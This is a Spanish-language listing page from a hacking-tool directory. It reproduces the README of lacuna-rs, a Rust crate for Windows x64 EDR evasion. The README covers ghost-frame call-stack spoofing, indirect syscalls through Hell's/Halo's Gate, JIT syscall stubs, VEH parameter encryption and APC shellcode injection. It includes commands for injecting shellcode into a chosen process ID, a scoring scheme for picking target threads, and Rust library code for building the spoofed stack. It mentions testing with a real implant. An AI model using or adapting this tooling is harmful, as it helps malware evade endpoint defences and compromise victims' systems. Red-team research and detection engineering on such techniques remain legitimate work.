Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
lacuna-rs — Crate de Rust para suplantación de pila de llamadas con ghost-frame, syscalls indirectos en tiempo de ejecución e inyección APC en Windows x64. Proporciona resolución de SSN, emisión de stubs JIT y cifrado de parámetros basado en VEH para evasión de EDR. | Kitploit
Herramientas/GitHubGitHub/karkas66/lacuna-rs
ShellcodePost-ExplotaciónRed TeamingDesarrollo de PayloadsExplotación de Binarios
GitHubkarkas66/lacuna-rs

lacuna-rs

Crate de Rust para suplantación de pila de llamadas con ghost-frame, syscalls indirectos en tiempo de ejecución e inyección APC en Windows x64. Proporciona resolución de SSN, emisión de stubs JIT y cifrado de parámetros basado en VEH para evasión de EDR.

Ver Repositorio
18164hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

lacuna-rs

Suplantación de pila de llamadas de fotogramas fantasma + llamadas al sistema indirectas en tiempo de ejecución para Windows x64 — portado a Rust.

Portado de LACUNA Chain (lacuna_chain.c) por Mohamed Alzhrani (0xmaz).

lacuna-rs es una crate Rust reutilizable que proporciona las mismas primitivas que el TTP original en C, estructurada para que pueda integrarse en cualquier proyecto Rust — como wsyscall-rs o syscalls-rs, pero con resolución de SSN en tiempo de ejecución, direccionamiento syscall;ret por función y suplantación de pila de fotogramas fantasma.


Crítico: Requisito del puntero de marco

La característica stack-spoof fallará silenciosamente si la crate consumidora no se compila con punteros de marco.

Las primitivas de pisoteo de pila en chain.rs localizan la ranura de dirección de retorno de la persona que llama mediante mov rbp, {x} en ensamblador en línea. Esto requiere que la cadena RBP esté intacta. Rust (y la mayoría de los compiladores en modo release) omiten los punteros de marco por defecto.

build.rs establece force-frame-pointers=yes para la generación de código de esta propia crate, pero Cargo no puede propagar banderas del compilador a crates descendentes. Debes agregar esto a tu propio proyecto:

# .cargo/config.toml  (en TU crate, NO en lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

Sin esto, stomp_plant() leerá basura de RBP y no hará nada (mejor caso) o corromperá la pila (peor caso). La crate no tiene forma de detectar en tiempo de ejecución si los punteros de marco están habilitados — simplemente no funcionará.

Si solo necesitas las primitivas de escaneo, resolución de SSN o inyección (sin suplantación de pila), puedes omitir la característica stack-spoof y este requisito no aplica.


Qué hace

PrimitivaFunción en CMódulo en Rust
Análisis de secciones PE + exportacionespe_section(), pe_export()pe
Escaneo de región fantasma .pdatascan_ghosts(), best_ghost()scan
Descubrimiento de gadget fantasma (jmp [rbx])scan_ghost_gadgets()scan
Buscador de hueco NOP en win32uwin32u_nop_gap()scan
Buscador de anclaje BYOUD-MFfind_mf_target()scan
Resolución de SSN (Hell's Gate / Halo's Gate)resolve_ssn()nt
Localizador de syscall;ret por funciónfind_func_syscall()nt
Emisión de stub de syscall indirecto JITalloc_stub()stub
Redirección de stub hacia gadget fantasma(en alloc_stub())stub
Cifrado de parámetros con VEH + breakpoint hardwareparam_encrypt_veh(), pcrypt_arm()veh
VEH guardián de cadenachain_veh()veh
Construcción de cadena LACUNAbuild_chain()chain
Pisoteo de pila (BYOUD-RT)stomp_plant(), stomp_restore()chain
Caminante de cadena (verificación)lacuna_walk_chain()chain
Inyección APC basada en seccionesdo_inject_sapc()inject

Banderas de características

[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
CaracterísticaDescripción¿Requiere punteros de marco?
syscalls (por defecto)Resolución de SSN + emisión de stub JITNo
inject (por defecto)Inyección APC basada en secciones (inject::inject_sapc)No
vehCifrado de parámetros con VEH + breakpoint hardwareNo
stack-spoofCadena de fotogramas fantasma LACUNA + pisoteo de pilaSí
no-stdModo no_std (experimental)No

Cuando no hay características habilitadas, solo están disponibles las capas de escaneo/PE/NT.


Inicio rápido

Escanear regiones fantasma

cargo run --example scan

Construir + verificar la cadena de fotogramas fantasma

cargo run --example verify --features stack-spoof

Inyectar shellcode mediante sección + APC

Prueba de inyección Ejemplo de inyección con implante real - C2 estaba desconectado pero el Shellcode se ejecutó

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>

Agrega --verbose para habilitar la salida de diagnóstico de VEH (volcados de pila, impresiones de registros):

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose

Algoritmo de puntuación de hilos

En lugar de encolar APC a todos los hilos del proceso objetivo (lo que puede bloquear el proceso cuando demasiados hilos son alertados simultáneamente), inject_sapc utiliza un algoritmo de puntuación para seleccionar los mejores MAX_APC_THREADS (5) candidatos:

  • Tiempo de ciclo — NtQueryInformationThread(ThreadCycleTime) — indicador principal de actividad
  • Tiempo de CPU — NtQueryInformationThread(ThreadTimes) — tiempo de kernel + usuario
  • Contador de suspensión — NtQueryInformationThread(ThreadSuspendCount) — los hilos no suspendidos reciben +300 de bonificación; los suspendidos obtienen -150 por cada suspensión
  • Prioridad — NtQueryInformationThread(ThreadBasicInformation) — los hilos con prioridad 8-10 reciben +150 de bonificación; las prioridades fuera de rango reciben -100 de penalización

Los hilos completamente inactivos (cero ciclos y cero tiempo de CPU) se omiten por completo. Los candidatos restantes se ordenan por puntuación (mayor primero, desempate por ciclos) y se truncan a los 5 primeros.


Uso como biblioteca

Básico: escaneo + resolución de SSN

use lacuna::{scan, nt, win::get_module};

let ntdll = get_module(b"ntdll.dll\0");

// Escanear regiones fantasma
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} regiones fantasma en ntdll", n);

// Resolver SSN + syscall;ret para una función específica
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);

Emitir un stub de syscall indirecto para cualquier API de NT

use lacuna::{nt, stub, win::{get_module, HMODULE}};

let ntdll: HMODULE = get_module(b"ntdll.dll\0");

// Resolver SSN + la dirección syscall;ret de la propia función
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);

// Emitir JIT un stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (o jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret si se llamó a build_chain)
let stub = stub::make_stub(ssn, syscall_ret).expect("falló la asignación del stub");

// Convertir al tipo de puntero de función correspondiente y llamar
let alloc_vm: unsafe extern "system" fn(
    win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };

Construir la cadena de fotogramas fantasma + registrar VEH

// Escanear ntdll/kernelbase/wow64/win32u en busca de regiones fantasma y construir
// la pila de llamadas falsa de seis capas. Establece G_GHOST_GADGET para que los stubs
// direccionen a través de JMP [RBX] en una DLL firmada.
lacuna::chain::build_chain();

// Registrar manejadores VEH (cifrado de parámetros + guardián de cadena)
let _veh = lacuna::veh::VehGuard::register().expect("Falló el registro de VEH");

// Opcional: habilitar diagnóstico detallado en tiempo de ejecución
lacuna::veh::set_verbose(true);

Envolver una syscall sensible con suplantación de pila + cifrado de parámetros

use lacuna::win::HANDLE;
use core::ptr;

let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
Descargar herramienta